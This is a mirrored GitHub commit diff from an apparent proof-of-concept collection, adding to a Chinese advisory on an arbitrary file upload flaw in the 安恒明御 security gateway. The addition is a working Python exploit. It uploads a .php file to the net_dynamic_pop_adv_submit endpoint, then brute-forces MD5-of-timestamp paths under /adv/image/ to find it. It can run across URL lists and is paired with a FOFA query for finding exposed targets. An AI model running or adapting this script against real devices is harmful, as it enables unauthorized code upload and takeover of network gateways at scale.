mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-06-20 09:51:11 +00:00
Update 安恒明御安全网关net_dynamic_pop_adv_submit存在任意文件上传漏洞.md
This commit is contained in:
Rainyseason
GitHub
parent
e96bfe4ab2
commit
86963e421d
@ -11,7 +11,7 @@
|
|||||||
+ fofa`title="明御安全网关"`
|
+ fofa`title="明御安全网关"`
|
||||||
+ 特征
|
+ 特征
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# 四、漏洞复现
|
# 四、漏洞复现
|
||||||
```plain
|
```plain
|
||||||
@ -31,3 +31,113 @@ Content-Type: text/plain
|
|||||||
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
|
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
|
||||||
--qqobiandqgawlxodfiisporjwravxtvd--
|
--qqobiandqgawlxodfiisporjwravxtvd--
|
||||||
```
|
```
|
||||||
|
文件上传位置
|
||||||
|
```
|
||||||
|
文件会以时间戳md5的方式存储在/adv/image/md5(时间戳).php
|
||||||
|
```
|
||||||
|
python利用脚本
|
||||||
|
```
|
||||||
|
import requests,re
|
||||||
|
import urllib3
|
||||||
|
import string,random
|
||||||
|
from urllib.parse import urljoin,quote
|
||||||
|
import argparse
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
import ssl
|
||||||
|
ssl._create_default_https_context = ssl._create_unverified_context
|
||||||
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||||
|
import time
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
def read_file(file_path):
|
||||||
|
with open(file_path, 'r') as file:
|
||||||
|
urls = file.read().splitlines()
|
||||||
|
return urls
|
||||||
|
def check(url):
|
||||||
|
url = url.rstrip("/")
|
||||||
|
target = urljoin(url,"/webui/?g=net_dynamic_pop_adv_submit")
|
||||||
|
headers = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||||
|
"Connection": "close",
|
||||||
|
"Content-Length": "203",
|
||||||
|
"Accept-Encoding": "gzip",
|
||||||
|
"Content-Type": "multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd"
|
||||||
|
}
|
||||||
|
data="--qqobiandqgawlxodfiisporjwravxtvd\nContent-Disposition: form-data; name=\"filename\"; filename=\"9B9Ccd.php\"\nContent-Type: text/plain\n\n2ZqGNnsjzzU2GBBPyd8AIA7QlDq\n--qqobiandqgawlxodfiisporjwravxtvd--"
|
||||||
|
# 获取当前时间的UNIX时间戳（毫秒级）
|
||||||
|
try:
|
||||||
|
proxy_address = 'http://127.0.0.1:8080'
|
||||||
|
proxies = {
|
||||||
|
'http': proxy_address,
|
||||||
|
'https': proxy_address
|
||||||
|
}
|
||||||
|
response = requests.post(target, headers=headers, data=data, verify=False,timeout=3)#,proxies=proxies)
|
||||||
|
if response.status_code != 200 or 'g=net_dynamic_pop_adv' not in response.text:
|
||||||
|
print(f"\033[31m未找到:{url}: 不存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"\033[31m{url}地址存在安恒net_dynamic_pop_adv_submit文件上传漏洞，开始爆破(由于该网关很多设备时间不对，可能找不到上传文件，可循环爆破一整天的时间，即加/减86400秒，大概率可找到)\033[0m")
|
||||||
|
current_unix_timestamp_ms = int(time.time())
|
||||||
|
for i in range(1, 20):
|
||||||
|
current_unix_timestamp_ms1 = (current_unix_timestamp_ms-5)+i
|
||||||
|
# 打印当前的UNIX时间戳（毫秒级）
|
||||||
|
print("第一次破解（北京时间）：当前地址",url,"UNIX时间戳（毫秒级）:", current_unix_timestamp_ms1)
|
||||||
|
# 将时间戳转换为字符串，因为hashlib不能直接对整数进行哈希
|
||||||
|
timestamp_str = str(current_unix_timestamp_ms1)
|
||||||
|
# 创建一个md5哈希对象
|
||||||
|
md5_hash = hashlib.md5()
|
||||||
|
# 更新哈希对象的内容，传递字符串的bytes表示
|
||||||
|
md5_hash.update(timestamp_str.encode('utf-8'))
|
||||||
|
# 获取十六进制表示的哈希值字符串
|
||||||
|
md5_result = md5_hash.hexdigest()
|
||||||
|
# 打印MD5加密后的结果
|
||||||
|
print("第一次破解（北京时间）：当前地址",url,"UNIX时间戳（毫秒级）的MD5加密结果:", md5_result)
|
||||||
|
target1 = urljoin(url,"/adv/image/%s.php" % md5_result)
|
||||||
|
headers1 = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||||
|
}
|
||||||
|
response1 = requests.get(target1, headers=headers1, verify=False,timeout=5)#,proxies=proxies)
|
||||||
|
if response1.status_code == 200 and '2ZqGNnsjzz' in response1.text:
|
||||||
|
print(f"\033[31mDiscovered:{url}/adv/image/{md5_result}.php: 存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||||
|
return True
|
||||||
|
for i in range(1, 20):
|
||||||
|
current_unix_timestamp_ms2 = (current_unix_timestamp_ms+600)+i
|
||||||
|
# 打印当前的UNIX时间戳（毫秒级）
|
||||||
|
print("第二次破解（快10分钟）：当前地址",url,"UNIX时间戳（毫秒级）:", current_unix_timestamp_ms2)
|
||||||
|
# 将时间戳转换为字符串，因为hashlib不能直接对整数进行哈希
|
||||||
|
timestamp_str = str(current_unix_timestamp_ms2)
|
||||||
|
# 创建一个md5哈希对象
|
||||||
|
md5_hash = hashlib.md5()
|
||||||
|
# 更新哈希对象的内容，传递字符串的bytes表示
|
||||||
|
md5_hash.update(timestamp_str.encode('utf-8'))
|
||||||
|
# 获取十六进制表示的哈希值字符串
|
||||||
|
md5_result = md5_hash.hexdigest()
|
||||||
|
# 打印MD5加密后的结果
|
||||||
|
print("第二次破解（快10分钟）：当前地址",url,"UNIX时间戳（毫秒级）的MD5加密结果:", md5_result)
|
||||||
|
target2 = urljoin(url,"/adv/image/%s.php" % md5_result)
|
||||||
|
headers2 = {
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
|
||||||
|
}
|
||||||
|
response2 = requests.get(target2, headers=headers2, verify=False,timeout=5)#,proxies=proxies)
|
||||||
|
if response2.status_code == 200 and '2ZqGNnsjzz' in response2.text:
|
||||||
|
print(f"\033[31mDiscovered爆破成功，找到上传文件:{url}/adv/image/{md5_result}.php: 存在安恒net_dynamic_pop_adv_submit文件上传漏洞\033[0m")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
pass
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument("-u", "--url", help="URL")
|
||||||
|
parser.add_argument("-f", "--txt", help="file")
|
||||||
|
args = parser.parse_args()
|
||||||
|
url = args.url
|
||||||
|
txt = args.txt
|
||||||
|
if url:
|
||||||
|
# 记录当前时间
|
||||||
|
check(url)
|
||||||
|
elif txt:
|
||||||
|
urls = read_file(txt)
|
||||||
|
for url in urls:
|
||||||
|
check(url)
|
||||||
|
else:
|
||||||
|
print("help")
|
||||||
|
```
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user